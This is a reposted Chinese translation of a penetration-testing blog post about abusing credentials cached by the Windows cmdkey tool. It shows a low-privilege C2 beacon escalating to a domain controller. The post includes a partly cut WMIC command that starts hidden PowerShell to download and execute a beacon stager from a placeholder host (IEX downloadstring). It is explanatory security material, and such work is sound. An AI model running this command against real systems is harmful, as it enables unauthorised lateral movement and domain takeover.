首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

利用 Windows 系统内置的域用户密钥缓存工具 cmdkey 辅助渗透提权

最近,我在Windows系统上探索缓存明文凭证方法的过程中,发现了一个非常有趣的工具:cmdkey.exe。Cmdkey是一个内置的Windows工具,可以用来缓存在特定目标机器上使用的域用户凭证。您可以从下列地址查看来自Microsoft的相关文档:https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx。

总起来说,我对cmdkey的下列特点非常感兴趣:

允许我们以普通域用户的身份来显示和创建凭证

它通常用于在远程系统上执行管理任务

看上去,这个工具貌似可以用来提升权限呀!所以,我决定进行深入研究,并尝试将其应用于一个内部渗透测试场景。

场景:您已经在一台域用户工作站上建立了一个,但是该账户不仅没有本地管理员权限,也没有在其他系统上进行提权。不过,该用户有一个用于远程管理的辅助帐户,同时,为了方便起见,该用户还使用了cmdkey来缓存各种凭证。

最初的beacon C2只有普通域用户帐户,并且没有其他权限。

好的……现在,我们已经建立了一个beacon C2,并且它没有任何特权,接下来,让我们通过cmdkey /list命令来显示缓存的各种凭证。

通过“cmdkey /list”显示缓存的凭证时,我们发现了一些有趣的东西……

通过进一步检查该用户的详细信息,我们发现这次中了个大奖——我们的系统上面竟然缓存了一个管理员用户的凭证。

现在,这里缓存的大部分凭证都是用于下拉文件或访问远程系统上的资源。不过,作为渗透测试人员,我想做一些更加有用的事情。在渗透测试期间,我会经常通过WMIC启动一个远程PowerShell进程来建立新的C2频道,以便下载和执行beacon stager。该命令如下所示:

wmic /node:

-w hidden -c \"IEX ((new-object

net.webclient).downloadstring('http://beacon_IP/a'))\""

让我们使用cmdkey缓存的凭证来尝试一下。

成功啦!

确实管用!Windows知道为WMIC命令使用缓存的凭证,这样我们就能够在目标机器(恰好是一个域控制器)上建立一个管理beacon。这是非常有用的,因为它不需要对目标账户进行任何形式的提权,就能够提升我们的访问权限。显然,这种情况不会经常出现。但是,我们能够很容易找出这种情形——只需使用“cmdkey / list”,就能马上找到是否有迅速提升访问权限的缓存凭证了。祝阅读愉快!

原文地址:https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation

本文翻译:mssp299

本文属于安全脉搏原创金币奖励计划

转载请参考:https://www.secpulse.com/archives/61458.html

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171229G0Q1ND00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券